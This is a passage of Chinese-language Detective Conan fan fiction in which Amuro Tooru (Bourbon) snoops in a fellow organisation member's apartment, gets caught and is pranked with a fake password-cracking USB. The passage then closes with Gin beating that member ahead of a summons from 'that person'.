他把洋葱放在案板上,剥掉外皮,两刀干脆切去头尾,汁液从切口渗出来。 羽泽熙真抱着手臂靠在餐桌边,看着安室透的背影微微僵硬了一下。 哈。 安室透一刀一刀地切着。他真的很认真,低着头,眼睛盯着刀刃,咬着嘴唇,全神贯注。 但洋葱不会因为你的专注就变得好切。它还是会辣眼睛。 安室透的眼睛开始发红。他眨了眨眼,又眨了眨眼,眼泪从眼角流出来,顺着脸颊往下淌。他吸了吸鼻子,眯着眼睛继续切。 看不清了。 他抬起手背擦了一下眼睛,但他忘了手背上溅到了洋葱汁,越擦越辣,眼泪流得更厉害了。 “……这个……有点辣。” 他拿着菜刀,转过头,用那双泪汪汪的紫灰色眼睛看着绿川光。 “苏格兰……”他的声音有点哑,带着一点鼻音,“这个好辣啊……怎么办?” 绿川光又好气又好笑地转过身,但看清泪流满面的安室透后,他突然抿了抿唇,那笑意消失了。 “让我看看。” 他走近两步,轻轻用曲起的食指抬起安室透的下巴,让那张熟悉的脸微微仰起,暴露在他的视线下。 zero,你…… “……来,先把刀放下。”他移开食指,把菜刀从安室透手里抽了出来,放到案板上。 羽泽熙真面无表情地看着绿川光带着安室透去水池洗脸。 故意的吧。 这家伙。 被枪指着都能开玩笑的、英明神武的波本大人,因为切了一个洋葱,哭了。 哭得梨花带雨,我见犹怜,好像真的受了天大的委屈。 羽泽熙真很想用镜头记录下这珍贵的一幕,又怕到时候得罪了安室透,被他在“清酒观察日志”里添油加醋。 这家伙真的不知道洋葱应该怎么处理吗?还是说,他只是想让苏格兰安慰安慰他?< /p>偏偏这招还挺有用……喂,该死的你不要仗着自己看不见就往苏格兰怀里钻啊! 羽泽熙真快步走过去,拎住了安室透的衣服后领。 “亲爱的波本大人,”他笑道,“走,我帮你洗。不要继续干扰我们的晚饭进度了。” 他的手指收紧,安室透被他拽得往后仰,晃了两下才稳住。 “……” 在绿川光有点担忧的目光下,安室透乖乖被羽泽熙真拽走了。 由于安室透的视野还不算清晰,他们磕磕绊绊地来到了次卫。 羽泽熙真有段时间没来这里了,自从安室透搬进来,次卫就变成了他的私人领地。比起两个月前的布置,现在这里的变化很大。 多加了一个浴缸,防滑垫,还有安室透的个人洗护用品,瓶瓶罐罐的——就是他之前在超市精心挑选的那些,已经用掉一部分了。 他拎着安室透的衣领走到洗手台前,打开水龙头,调成凉水。 “闭眼。”他把安室透往前推了推。 “什么?”安室透的声音听起来有点可怜,“……能不杀我吗?” 鉴于他现在正在被羽泽熙真按着脑袋强行往冰凉的流水里压,这种猜测并不算非常离谱。 “不能,今天你非死不可。”羽泽熙真面无表情,“快点把眼睛闭上。” “哦。” 安室透闭上了眼睛,双手撑在洗手台边缘,低下头。 羽泽熙真用手掌接住一些水,轻轻敷在他眼睛上。 “清酒。” “嗯。” “你生气了?” 羽泽熙真手上的动作顿了顿。 “……我为什么要生气?” “不知道。”安室透说,“就是觉得你好像不太高兴。” “我也觉得你不太高兴。” 安室透不吱声了,羽泽熙真感觉他的睫毛在自己手心颤了一下。 羽泽熙真哼了一声。 “别装了。”他凑到安室透耳边,“你到底在打什么主意?” “你靠得好近,清酒。” “不要转移话题。” 羽泽熙真警告似得按了按他的脑袋,安室透的下巴差点磕到洗手台的边缘。 油嘴滑舌的家伙,一下午都在围着苏格兰绕来绕去。 羽泽熙真看不清哪个是真实的他,也看不清他的目的,但他的警惕已经升到顶点了。 “我没有在打什么主意啊。”安室透困惑地说,“我真的被洋葱辣到了。” 羽泽熙真在他脸上泼了一把水。 “唔!” 安室透扭过头,笑了笑。 洗得差不多了。羽泽熙真关掉水龙头,随手从旁边的架子上拽了条毛巾。 “不是那条。”安室透突然开口,“用左手边第二个,白色的。” 真行。闭着眼都知道。 羽泽熙真把刚刚拽下来的那条整整齐齐的给他挂回去,又取下所谓的“左手边第二条白色毛巾”,在安室透湿漉漉的脸上胡乱揉了几下。 “还辣吗?” 安室透试探着慢慢睁开眼,眨了眨。 “不辣了。”他说,“谢谢。” 眼前这个人模人样的家伙,会不会一出门又变成刚刚那个样子?羽泽熙真不知道。 但…… “波本。” “嗯?” “苏格兰对我来说很重要。”羽泽熙真看着他,“如果你对他有任何不好的企图——我不会放过你的。” 安室透愣了愣,随即弯起眼睛。 “……我不会做什么的,请别担心,清酒。” 22.我可以帮你处理掉他 没有人可以否认晚饭的美味程度,毕竟那是绿川光亲自烹饪的完美食物。 米饭粒粒分明,鸡肉炖得软烂,土豆绵密,胡萝卜甜糯,洋葱已经完全融化在汤汁里,只剩下若有若无的甜味。 安室透吃了四碗。 每次他拿着碗站起来,羽泽熙真都会忍不住悄悄看他一眼。 而安室透每次都用那种无辜的眼睛回望他,然后又去盛了一碗。 吃过晚饭,他们休息了片刻。 安室透倒是没再表现出他过量的热情,基本处于“普通的热情”程度——端茶倒水,嘘寒问暖,绿川光稍微动一下,他都能给人腰后塞一个靠垫。 而当绿川光提出离开时,安室透整个人都蔫了。他依依不舍地跟在后面,从客厅走到玄关,看上去恨不得马上就跟着绿川光一起回家。 “我送他回去。”羽泽熙真无奈,“你在家里好好待着。” “是啊,波本先生就不要麻烦了。”绿川光笑着附和道,“感谢今天的招待,我们下次再见。” “好吧。下次见。” 安室透最后还是没有跟上来,守在门口看着他们离开。 羽泽熙真和绿川光下了楼,把车开出车库。 绿川光这次选择了副驾驶的位置。 晚上的确不好打车,但他知道,清酒送他,也是为了在路上和他聊些什么。 开了一段时间,街道从安静变得热闹,又从热闹变得安静。 羽泽熙真开口了。 “苏格兰。” “嗯?” “你觉得,波本这个人怎么样?” “嗯……”绿川光抬头望着前面的车流,“他对我很热情。我记得你之前提起过,说,如果遇到他的话,最好提高警惕,他是个心思缜密的人。” “但你没警惕。”羽泽熙真淡淡道。 “是啊。”绿川光轻轻叹了一口气:“等我反应过来的时候,他已经快要把我的银行卡密码问出来了,我对他却基本一无所知。” 波本大人的情报能力可以说是非常恐怖了,他能在看似随意的对话中收集到大量的信息。羽泽熙真在平时的任务中就深有体会,没想到有一天,苏格兰也会栽在他身上。 “如果你觉得有被冒犯到,或者不喜欢,我可以帮你处理掉他。”羽泽熙真淡声说。 这里的“处理”显然不是什么好手段。 绿川光偏了偏头,看向他。 “他是朗姆大人那边的人吧,可以随便动吗?” “理论上是不可以。”羽泽熙真笑笑,“不过我真的想要动他的话,大概也不会有人把我怎么样。” 虽然就这么干掉是有点可惜啦……就一点点。 “……先不用了。我觉得,波本还挺有趣的。” “有趣?” “嗯。”绿川光移开了视线,“至少现在,我没从他身上感受到恶意。” “那就好。” 他们路过了一片商场。这个时间的商场很热闹,下了班的人们刚刚吃过饭来消遣,街上人来人往。 羽泽熙真打了一把方向盘,拐进一条人少一些的路。 商场的喧嚣被甩在身后,车窗外的景色又变回了安静的住宅区和昏黄的路灯。 “之前和你搭档的那个莱伊,”他说,“你和他相处得怎么样?” 绿川光想了想。 “其实,我对他了解不多。他不怎么说话。” 在绿川光的描述中,莱伊是一个沉默寡言的人。在相处时,他说的最多的话是“可以”和“不可以”,对大多数事情都漠不关心。 但羽泽熙真记得,自己当时去训练场找莱伊的时候,那家伙的话还挺多的。他甚至还主动问了他,要不要把那只死兔子带走。 可能是看心情和人交流? 苏格兰说莱伊的狙击能力比他优秀,无论是距离还是精准度,在组织里都是数一数二的。 “莱伊还问过我关于你的事。”绿川光有些困惑,“他问我,你和琴酒是什么关系。” 羽泽熙真大概能理解莱伊为什么会这么问。 毕竟那天,他随口开了个玩笑,说嫉妒他被琴酒看重。诸星大当时的表情还挺惊讶的。 “你怎么说的?” “我说,我不知道。”绿川光摇头,“你们只是普通的上下级吧。” “的确。” 不然还能是什么。 “对了,清酒。”绿川光突然坐直了一些,“最近琴酒先生提到你的时候,态度有些奇怪。” 羽泽熙真眨了眨眼:“奇怪?” “嗯。上周我在据点碰到了他。”绿川光回忆着,“那时他刚接完一个电话,脸色很差,就像是,有什么东西让他很烦躁,他又不能发作。然后他看到我走过去,问我‘清酒最近在做什么’。我说‘不太清楚’。他‘啧’了一声,走了。” 确实不太正常,他们之间又不需要弯弯绕绕,琴酒想知道他最近在做什么的话,直接来问他不就好了? “你的意思是,他觉得我……让他烦躁?” “不止。”绿川光摇头,“我觉得他想打你。” “……” 坏了。羽泽熙真想。要出大事了,该不会是因为前段时间苏格兰那事…… “没事,大不了我找机会让他打一顿。”他轻笑,“前辈大概是更年期了,看谁都不顺眼,他对波本的态度也不怎么好。” “这样吗?”绿川光惊讶,“我会去提醒琴酒先生更年期的注意事项的。” “那种事情不要啊,苏格兰大人。” 片刻后,车子停在绿川光住所的楼下。 绿川光解开安全带,“唰”的一声,带子缩了回去。他伸手去开车门,手指碰到门把手的时候,停了一下。 “清酒。” “嗯?” “波本的事……你不用太担心。我能应付。” “我知道。”羽泽熙真说。 “你也要小心一些。”绿川光回过头,“他的笔记里写了很多关于你的事,都是真的。我不清楚他为什么要写那些,他说是个人爱好,但我觉得不是那样。” “嗯,我知道了。” 绿川光下了车,拿起后座的贝斯包,关上车门。他站在路边,弯腰朝车窗里看过来。 “晚安。”他说。 “晚安。” 羽泽熙真望着他的背影消失在楼道中。 几分钟后,有一扇窗户亮起了灯,窗帘被拉上了。 羽泽熙真下了车,靠在车门上,从口袋里摸出一支烟,叼在嘴里点燃。 厚厚的云层遮住了月亮和星星,看不到任何光亮。 他掏出手机,拨通了一个电话。< /p>“您好,这里是……” “桐岛医生。” 电话对面的男人“嗯?”了一声。 “是熙真啊。这个时间接诊要加钱,你知道的,记得带好现金。”他顿了顿,“听声音,受伤的肯定不是你,是不是小苏格兰——” “不是。”羽泽熙真打断了他,“桐岛医生,你那里的话,一条命收费多少?” “……” 男人沉默了。 他半天没说话,羽泽熙真差点以为是信号不好,把手机从耳边拿下来看了看,一切正常。 “……就知道你要惹事。”男人的声音比刚才低沉了一些,“账单待会发你。” “要多少你自己转不就好了?” 男人没理他,径自挂断了电话。 羽泽熙真愣了愣,低头看着被挂断的电话。半响,他笑了一下。 按照桐岛医生的收费标准来看,这次说不定真的要大出血了啊。 他靠在车边慢慢抽完了那支烟,收好烟头,拉开车门上了车。 —— “我回来了——” 屋内没有回应。 羽泽熙真挑了挑眉,在玄关换了鞋,走进客厅。 安室透坐在单人沙发上,双腿交叠。他一手支着脑袋,另一手拿着一本书,正低头看着。 羽泽熙真走近了些许,他才从书页上抬起眼,确认是谁后,目光又落回书上。 “你回来了。” 那书的封面好像有点眼熟。 羽泽熙真绕到他身后,手撑在沙发靠背上,微微俯身看向书上的文字。 “在看什么?” 安室透把书翻了过来,方便他看到封面上的大字——《暗示与自我暗示》。 “你看过吗?”他问。 “看过。” 正因为他看过这本书,所以才会觉得眼熟。苏格兰大概也看过类似的东西,或者没看过,但他天生就会。 “喔。”安室透又把书翻回去,“这是从客厅的书架上拿的。苏格兰说,你会把一些看过了但是没什么兴趣的书放在这里。” 羽泽熙真:“……” 所以在他睡着的时间里,波本到底从苏格兰嘴里套出了多少东西? “苏格兰不是有意出卖你的。”安室透低着头,“他只是不太会拒绝人。我问什么,他就答什么。很乖。” “我还是觉得你比较可恶。” 羽泽熙真走到对面的沙发上坐下,顺手拿起桌面上的半包饼干看了看。 是苏打饼干,咸口的。 “为了了解我,敬业的波本大人打算把这里的书都看一遍吗?” “其实大部分我原本就看过。”安室透笑笑,“既然对心理学不感兴趣,你为什么要买那么多?” 羽泽熙真对书籍的涉猎范围极广。既有专业的战术分析、生存手册,也有些偏门的读物,比如《密码破译简论》,在安室透住进来之前,就被他从床头柜上收进了卧室的书架上层,换成了几本经典。 而在客厅的书架上大多都是些心理学相关的书籍,正如苏格兰所说,都是羽泽熙真看过一遍,但是没兴趣再翻开的东西。 “当时碰到书店打折,买了不看又很浪费。”羽泽熙真把那包饼干放回原位,“怎么,不行吗?” “我可没那么说。” 23.波本的情报整理时间 “我出门喽,安室君。” 安室透坐在沙发上,手里拿着快看完的《暗示与自我暗示》,抬头看着羽泽熙真关上门,离开了公寓。 清酒去了训练场。 没有任务的清闲日子,他经常会去那里,有时会带上他,有时不带,全看心情。 就比如今天,在苏格兰重新被清酒接管的第三天,刚刚吃过早饭的羽泽熙真一个人出发了。 等他回来的时候,那大概已经是下午了。他会带着满身的硝烟味道推开门,装模作样地喊一声“我回来了——”。 然后他会冲个澡,换身衣服走进厨房,打开冰箱,看看里面有什么。 这时候如果安室透刚好没有出门的话,他就可以静静等待他们的晚饭上桌了。 而现在…… 安室透将打开的书页朝下,放在茶几上,站起身,朝着客厅的书架走去。 书架最下面一层的厚皮笔记本。诸伏景光说得很准确,不需要他翻来找去,蹲下就能看到。 他把它抽了出来。 —— “时间不多,我长话短说。” 清酒去了卧室,不知道什么时候就会回来,诸伏景光知道他们没有时间叙旧。那种事情,还是留到他们能稳定接触之后再说吧。 “清酒在那个笔记本里记录了他表面身份的信息,我没看过具体写了什么,但也许对你来说会有些用处。” 降谷零点点头。 “清酒他身体不太好,”诸伏景光继续说,“他每天都需要大量的睡眠时间,如果睡不好会容易晕倒。” “晕倒?” “嗯,毫无意识的那种。还有,他非常敏锐,尤其是对情绪和声音的感知,你想做什么的话,一定要确定他不在场,不然很容易被发现。” “情绪……我知道了。” “走廊右手边第一间屋子,那是他的书房。清酒大概不会允许你进去,如果他没有打开门的话,你千万不要试着用别的方式闯入,那会很危险。” “好。” “还有……” 诸伏景光恨不得把所有降谷零可能用得上的东西都一股脑儿地塞给他,他想了一路,想好了所有可以告诉降谷零的情报。 其实他还知道很多,但有些东西,他不清楚是否现在就能交给降谷零……如果就这么告诉他,会不会害了他?会不会让他在某个错误的时机做出不合常理的选择? 天知道,当他守在楼顶,远远地看见和清酒一起下车的所谓“波本”是降谷零时,心底的波澜有多么壮阔。 天知道,在他顶着幼驯染难以置信的目光,说出那句“初次见面”前,他费了多大的工夫才让自己的表情没有露出丝毫破绽。 正是因为见识过清酒的敏锐,他才必须想办法让降谷零流露出真实的情绪,哪怕只有一点点恐惧,也能扰乱清酒对于人际关系近乎直觉的推理。 纵有千言万语…… “别担心,苏格兰。”手上沾着芹菜汁的幼驯染露出了笑容,“之后,还请多多关照。” 此刻,被多多关照的安室透翻开了手中的笔记本。 扉页上空白一片,没有留下任何痕迹。 再往后翻,是显得有些潦草的字迹——清酒的字迹。 三田涉,二十二岁,男。 职业为酒水商,经营着一家小型进口酒类贸易公司,公司地址在杯户町的一条商业街上,主营欧洲进口酒类,也有针对高端客户的定制服务。 三田涉的住址,杯户町三丁目……安室透发现,这个地址就在这栋公寓楼的五楼。 他继续往下翻,后面简略记录着三田涉的部分背景故事,大概意思是年幼时三田涉的父母出了意外,他和弟弟被父母的朋友,一个名为桐岛怜的男人收养。 是的,三田涉还有一个弟弟。但关于这个弟弟,羽泽熙真没有记录有关他的其他信息,只说关系不好,某次争执后弟弟离家出走,杳无音讯。 三田涉的性格爱好、资产分布、人际关系,这些东西的笔墨最多,详实可查,仿佛世界上真的有这个名为三田涉的人,现在正和他隔着几层楼生活着。 笔记本里还夹着几张纸,对折着被塞在中间。 来都来了,没有不看的道理。 安室透放下本子,把纸展开。一行小字赫然跃入眼帘:组织外围情报整理。 安室透微微睁大了双眼。 这不是清酒写的。 这个字迹他太熟悉了,从小到大,从稚嫩变得有力,他见过它每一个阶段的样子,所以即便刻意做了掩饰,他也认得出来。 这是诸伏景光的字迹! 字体很小,密密麻麻地挤在纸上,安室透不得不聚精会神地辨认它们的模样。 墨水的颜色不太均匀,有些地方深,有些地方浅,大概是分多次写成的。 但信息详细到近乎骇人。 不仅仅是部分外围成员的基本信息,比如宫野明美等偶尔为组织工作的人,这里面还包括一些长期为组织效力的外围势力,他们的身份、背景、弱点、价值,都被清清楚楚地写在几张纸上。 甚至,涉及到了几处机构的渗透情况。 安室透倒吸一口凉气。 清酒和苏格兰,在组织里到底掌握着什么? 这些信息,比他之前掌握的情报更完整,涵盖了他从未接触过的角落。情报组的人通常各管一摊,每个人只了解自己负责的那一小块领域。从来没有人把所有信息整合在一起,因为没有人有这个权限,也没有人知道所有的信息。 这些东西,整合起来几乎就像是……一个完整的小势力,一个属于他们自己的情报网络。 清酒和苏格兰在组织的立场,可能比他以为的更特殊。 如果是这样的话…… 安室透敛下眼眸,将那些纸折好,原样夹回去,把笔记本放回原位。 这些东西他暂时不能动。既然景光那边没动作,就说明他还有其他打算。 事情没那么简单。 从警校毕业后,降谷零参加了公安的卧底封闭训练,用了半年多的时间伪装自己,顺便适应安室透这个身份。算算时间,景光应该也差不多? 没想到景光的进度要比自己快得多啊,安室透想。不仅赢得了很多成员的信任,而且已经在组织里有了一席之地。 嗯?等等。 安室透愣了一下。 既然这些东西是hiro写的,为什么他提起时,会说自己没看过? 带着满脑子的新鲜情报,安室透朝着自己卧室的方向走去。 走廊的飘窗平时是关着的,他路过时无意间瞥到一眼,发现它不知怎么的打开了。 他没多想。 应该是清酒出门前开着透气的。这里可是顶楼,没人能从外面上到这里来 。 回到房间,他坐到电脑前,慢慢把刚刚看到的情报和以前所知的整理到一起。 工作量不算小。单单是近两个月拿到的东西,就已经很多了。它们有些是任务中获得的,有些是和清酒日常相处时无意中听到的,每一条都需要评估。 有用的,无用的,真实的,需要验证的。 哪些需要报告给上级,哪些可以交给朗姆,哪些先不动。他在脑子里把这些信息分类,然后在键盘上敲下要点。 时间缓缓流逝,窗外的阳光渐渐变得灿烈。 安室透瞥了一眼电脑右下角显示的时间。现在已经是中午了。清酒中午一般不会回来,他需要自己解决午饭问题。 为了节约时间,一番思索后,并不会做饭的某人最终的选择是—— 泡面。 方便,快捷,饱腹感强。 但对比昨天的晚饭,味道简直是天壤之别。 说起来,清酒之前提起的指导他做饭的朋友,就是景光吧。怪不得他总隐隐觉得味道很熟悉,原来一切早已有迹可循。 草草填饱肚子,收拾好垃圾,安室透准备回房间继续他的工作。 他已经走到次卧门口了,一扭头,突然发现了一个不太对劲的地方。 清酒的主卧门居然没有关严,只是虚掩着留了一条缝,没锁。 平时清酒出门都会锁门的,今天是忘记了吗? 现在,整间公寓里只有他一个人。清酒短时间内不会回来。 “嗯……” 安室透托住下巴,盯着那条缝隙陷入沉思。 进去吗?不进去吗? 进去能看到什么?不进去会错过什么? ——多好的机会。 他悄悄调转了脚步,朝那扇虚掩的门走去。 主卧的布局和次卧差不多。衣柜,床,桌椅,书架。 床上的被子没叠,还保持着被掀开的样子,被单皱皱巴巴的,枕头歪在一边。 被子很厚实,看起来颇有分量,但安室透一走进来就感觉不太对——这个房间的温度至少比其他房间高出三四度,他现在都有些冒汗了,羽泽熙真居然盖那么厚的被子。 床头柜上放着几本经典读物,其中一本夹了书签,似乎是羽泽熙真近期在看的。 书桌上散落着很多奇怪的零件。 安室透皱了皱眉,它们怎么这么像…… 他走近两步,发现确实就是他想的那些东西。 在警校上学时,有两个和他关系很好的同期精于此道,他们在一起的时候会聊这些东西,安室透听多了,也就记住了一些。现在,这些记忆派上了用场。 电路板,计时器,颜色不一的导线,还有些奇形怪状的工具。 全部都是用来做炸弹的。 清酒这个家伙,居然在和他隔了一堵墙的地方,做!炸!弹! 他不怕失手后,大家都被炸死吗?! 虽然暂时没看到火药的痕迹,但不知道是不是心理作用,安室透感觉自己已经闻到火药的味道了。 但就在他伸手想翻看其中一个零件时—— 有什么凉凉的东西突然贴上了他的脖子。 不好! 安室透猛地僵在了原地。 与此同时,羽泽熙真戏谑又带着淡淡寒意的声音在他身后响起—— “干什么呢,安室君?” 24.很聪明嘛,安室君 “干什么呢,安室君?” 羽泽熙真把手中锋利的刀片怼到安室透脖子上。 “……我突然感觉外面有点冷。”安室透说着往后缩了缩脑袋,“你的房间的温度好高,所以我就进来暖暖身子。” 被他的金毛蹭得脸很痒的羽泽熙真:“……” “能不能找个好点的借口?”他面无表情地低头看着安室透的金毛,“这公寓一年四季都是恒温的。” 他的房间温度是高一点没错,但一直都是这样,安室透怎么平时不觉得冷,偏偏这会儿冻得不行了? “清酒。” “嗯。” “你听我说。” “我在听。” “我真的只是路过。”安室透的声音很诚恳,“然后我看到门开着,想帮你关上。” “只是关门?”羽泽熙真故作惊讶,“那为什么你现在站在我的房间里?” 安室透沉默了一下。 “我在……帮你整理桌面?” “波本。” “嗯。” “你猜我信不信?” “……不信。” “很好。”羽泽熙真冷笑一声,“那你自己说吧,你到底想干什么?” 想听他说句真话可真难。 安室透不知道在顾虑什么,思考半天,最后还是没说出羽泽熙真想听的答案。 “你想怎么样?”他问。 “怎么样?” 羽泽熙真嘴角的笑意消失了。 他把刀片稍稍挪开些许,从身后按着安室透的肩膀,推着他往里走。 走到床头柜的位置,羽泽熙真弯腰拉开抽屉。里面有一些零碎的日用品,摆在最上面的是一副银色的手铐,他把它拿出来。 “手,背过来。” 安室透依言把手背了过来。 羽泽熙真收起刀,咔咔两下,把手铐扣在了安室透的手腕上。安室透深色的胳膊肌肉发达,但不算粗,银圈松松地挂在上面,链条垂下来,微微晃动着。 “你为什么要在床头柜里放手铐?”安室透低头看着手腕上的金属圈,好奇地问道。 羽泽熙真没有回答他的问题,他抓住安室透握起的拳头,将他的手指一根一根地强行掰开。右手四根手指都掰直了,只剩拇指还蜷着。 他把拇指也掰开了。 一根细长的铁丝从安室透的掌心滑落,“叮”一声掉在地板上。 “……” 羽泽熙真把铁丝捡起来,举到安室透眼前晃了晃。这也个是能仅凭铁丝就打开手铐的家伙,逃跑对他来说是轻而易举的事。 但现在不是了。 “就从这双不老实的手开始吧。” 他绕到安室透面前,看着那双盯着他的紫灰色眼睛,嘴角弯起。 “把你的漂亮手指一根一根地掰断……” 他从前面抓住安室透背在身后的手,握住他有些摸起来粗糙的手指。 “喔,好像太快了。”他想了想,“一个指节一个指节掰断,怎么样?” “听起来很痛啊。”安室透笑道。 “当然会很痛。” 话音未落,羽泽熙真猛地向后掰了一下他的食指。 “嘶。”安室透皱眉,“疼。轻一点。” 羽泽熙真:“……?” 什么叫轻一点?还能讨价还价的? 我是在给你按摩么? 羽泽熙真觉得自己不像是在惩罚一个擅自闯入他房间的室友,倒像是在为一位挑剔的顾客提供服务,而这位顾客对服务不太满意。 这个态度真是看得人不爽。 “走吧。” 羽泽熙真把手搭在安室透的肩膀上,安室透被他推得往后退了两步,顺着力道转身往外走。 “去哪?” “你的房间。” 安室透的脚步迟疑了。 羽泽熙真走到前面,手上用了点力,拉着他往隔壁的次卧走。 次卧在这两个月里被新住户打理的井井有条。屋子里没什么多余的杂物,窗明几净,被子也铺的整整齐齐。 书桌上摆着一个装了半杯水的马克杯,旁边散落着几支笔。 正中央是一台连着电源的笔记本电脑。 羽泽熙真按着安室透的肩膀,把他推到书桌前坐稳。 “你想干什么?”安室透紧盯着羽泽熙真放在书桌上的手,看着那双手掀开他的笔记本电脑。 “我吗?”羽泽熙真笑了笑,“我当然是想找找你的小秘密啊。” 电脑处于待机状态,屏幕亮起来后,上面弹出一个输入框。 输入框下面有三个默认头像,昵称用ABC区分,大概安室透还有其他账户。他选择了默认的那一个。 需要密码。 羽泽熙真低头看着安室透,安室透仰头看着他,两个人都在试图用眼神让对方理解自己的心理。 交流失败。 羽泽熙真眨了眨有些干涩的眼睛。 “密码是多少,亲爱的?” 安室透:“……” 哪个正常人会在这时候把密码告诉他? 不过羽泽熙也真没指望他回答,他偏过头,对着光线尝试辨认键盘上残留的痕迹。但上面很干净,安室透习惯在使用后把指纹清理掉。 没有也没关系。 他从口袋里掏出了一个U盘,和之前在“朱雀”用过的小工具是同一款式。 “清酒,别闹了。” 安室透的眉头皱了起来,胳膊动了动,但身后的手铐限制了他的行动。 “你觉得……我是在和你闹着玩吗?” U盘被插进接口,屏幕上弹出一个黑色的窗口,几个进程快速运行结束,一个进度条最终固定在界面上。 百分之二十,百分之三十,百分之四十。 安室透看着慢慢增长的进度条,心跳不由自主地变快了一点。 那是用来破解密码的吗? 从清酒的行为来看,是的。如果让进程跑完,这台电脑里的所有信息都会出现在羽泽熙真面前。 没有任何秘密能藏得住。 这台电脑里有什么? 有公安的内部文件,有他和上级的联络记录,有他以前的照片,有他收集的资料。 那些东西如果被清酒看到,他就完了。 “清酒。”安室透坐直了身子,“对不起,我不该私自进你的房间。” “道歉有用,要警察干什么?” 那警察跟你道歉也没用啊。 安室透试图站起来。 “坐好。”羽泽熙真一把把他按回去了。 百分之八十。 安室透的呼吸悄然变重了。 他大可以祈祷清酒打不开以前被他设了密码的文件,但糟糕的是,他早上整理的那些东西还没有隐藏,现在正大刺刺的摆在桌面上,清酒一进去就看得到。 百分之九十。 “清酒,你……” “这么紧张?” 羽泽熙真把桌上装着水的杯子往里推了推,靠坐在桌子上。 “看来,你这电脑里还真的有小秘密啊。” 这很正常,谁的电子设备里没有点不想被别人看到的东西呢。这个东西叫隐私,安室透写他的观察日志的时候没在 乎过隐私,进他房间的时候也没有。 所以羽泽熙真现在大可以也忽略那种不值一提的东西。 九十五。 安室透的心脏在狂跳。他隐隐感觉清酒对探究他的底细其实没有兴趣,平时清酒很少过问有关他的事,现在他也是似乎更乐于观察他的表情,而不是进度。 但他一直不依不饶,到底是为了什么? 仅仅是为了吓唬他? 恍然间,安室透领悟了清酒真正想要的东西。 “……我保证,之后不会去你的房间乱翻了。”他抬头看着羽泽熙真,“我可以把那本观察日志拿给你看,如果有你不喜欢的地方,我会把它们删掉。” “我不想知道你写了什么,那是你的权利。” “那你想要什么补偿吗?”安室透瞥了一眼走到百分之九十八的进度条,加快了语速,“我会尽力满足你……” “扫一个月的地,碗也是你刷。” “三个月。” “成交。” 羽泽熙真把U盘拔出来,捏在指间转了一圈。 程序最终停在了百分之九十九的位置,弹窗闪了闪,消失了。 ……就这样? 安室透还有些不敢相信,清酒就这样放过他了? 那个程序不会留下了什么隐藏的后门吧? “这个送你玩。” 羽泽熙真把U盘递到他面前。 安室透:“?” 他低头看了看U盘,又抬头看了看羽泽熙真。 “挺好玩的。”羽泽熙真弯了弯眼睛,“里面是一个木马小程序,插上会让你的电脑显示一个永远跑不到百分之百的进度条。之前找伏特加帮我写的时候,他还问我是不是太无聊了,我猜那是个委婉的说法。” 安室透:“……” 安室透:“所以,你提前在自己房间的门口装了感应设备,我进去你就能收到通知。” “bingo。”羽泽熙真打了个响指,“很聪明嘛,要不要也给你装一个?” 这家伙。 暗示。安室透想。暗示,与自我暗示。 持续了一段时间的早出晚归的习惯,虚掩的门,它们在告诉他“这里很安全,请随意探索”。 放在床头柜抽屉最上面的手铐,还有这个莫名其妙的U盘,都是清酒提前准备好的。说明他一定是早有预谋,只是在今天摆好了诱饵,等着他跳进陷阱,借此警告他“探索”的边界。 还有走廊打开的窗。 “……你是从哪里进来的?”安室透偏头看着正在给他解开手铐的羽泽熙真,“我没有听到开门的声音。” “窗户。”羽泽熙真说。 ——这间公寓是在顶层,没错吧? 窗户下面几乎没什么能落脚的地方,羽泽熙真到底是怎么上来的? “你是踩着别人的窗台上来的?”安室透目光谴责。 多少有点扰民了吧……等等。 他突然想到了一个问题。 在这儿住了这么一段时间,虽然其他楼层屋内的灯会准时亮起,但他好像,几乎没有碰到过其他住户。 不,不是几乎。 是根本没有。 哪怕他的出门时间再不正常,两个月了,总该能碰到一两个人吧? 还有那个所谓“三田涉”的住址…… “嗯?” 听到他的问题,羽泽熙真歪了歪头,金色的眼睛带点疑惑地眨了下。 “啊……我没有和你说过吗,安室君,”黑发青年单手托住下巴,带着点思索的说,“这一整栋楼,都是我的呀?” “……” 25.如期而至的惩罚(上) 【下楼。】 是琴酒发来的消息。 言简意赅,甚至没加代号,也没有任何可以看出情绪的语气助词。 看起来平平无奇,但羽泽熙真总觉得琴酒少打了什么字。 比如“滚”。 “滚下楼”,可能才是这条消息原本的样子。 或许假装不在家才是更好的选择,琴酒有概率会先放他一马,但羽泽熙真不会这么做。琴酒的话是命令,更何况,躲得了一时,他躲得了一世么? 安室透下午出门了,不知道去了哪里,他也没问。现在只有他一个人在公寓,他只能自己去见琴酒。 羽泽熙真披上外套往外走,走到门口时,脚步顿了顿。 他回过头,环顾着这个他住了几年的地方。 原本这里应该更冷清一些的,他在家的大部分时间都是在睡觉,甚至连垃圾产出都很少。 但现在有了安室透在,他不得不打起精神,让自己多做点事。零食有了,饮料有了,这所公寓比原来更乱,却也更有所谓的生活气息,那种东西有什么用呢。 唉,悲观一点想的话,羽泽熙真觉得自己可能要和眼前的小公寓说永别了。 楼下的风有些燥热。 傍晚的光线昏黄,太阳已经落到了楼群的后面,只剩最后一点余晖。 琴酒站在一辆黑车旁,戴着礼帽,单手点着烟,冷绿色的眼睛藏在微微散开的烟雾后,深沉难辨。 伏特加不在,车也不是琴酒的保时捷。 非常不妙。 羽泽熙真笑了笑,走过去。 “前辈……” 话音未落,冷不丁一记重拳迎面砸来—— 他没躲,脸上瞬间传来钝痛,力道大得让他整个人朝后倒去。他脚步踉跄着往右迈了两步,堪堪站稳。 耳鸣刹那间涌上来,他尝到了一丝铁锈味,脸上火辣辣地疼。 “啧……”他眨了眨眼睛,勉强稳住有些晕眩的意识,还没来得及说什么,又猝不及防地挨了一脚—— 这一脚踹在上腹部,力道够狠,他整个人摔在了地上。 胃部一阵翻江倒海的绞痛,喉咙里涌上一股腥甜,他强行咽了下去。 他没有再动。 很明显,这时候乱动属于找死。虽然琴酒一向不喜欢废话,但能让他直接动手,这次的事绝对不算小。 琴酒居高临下地俯视着他。 “最近,你不怎么老实啊,清酒。” 羽泽熙真轻轻喘息着,舔了舔嘴角的血。果然是因为那件事……他最近只做了一件能让琴酒气成这样的事。 他撑着地面坐直身子,缓了口气。琴酒突然弯下腰,弯腰揪住他的领口,直接把他拽了起来。 羽泽熙真被勒得不舒服,本能地抓住琴酒的手臂。 然后他听到了银发男人凑到他耳边,压得极低的声音。 “那位先生要见你,别说错话。” 他的心跳微微一滞。 那位先生? 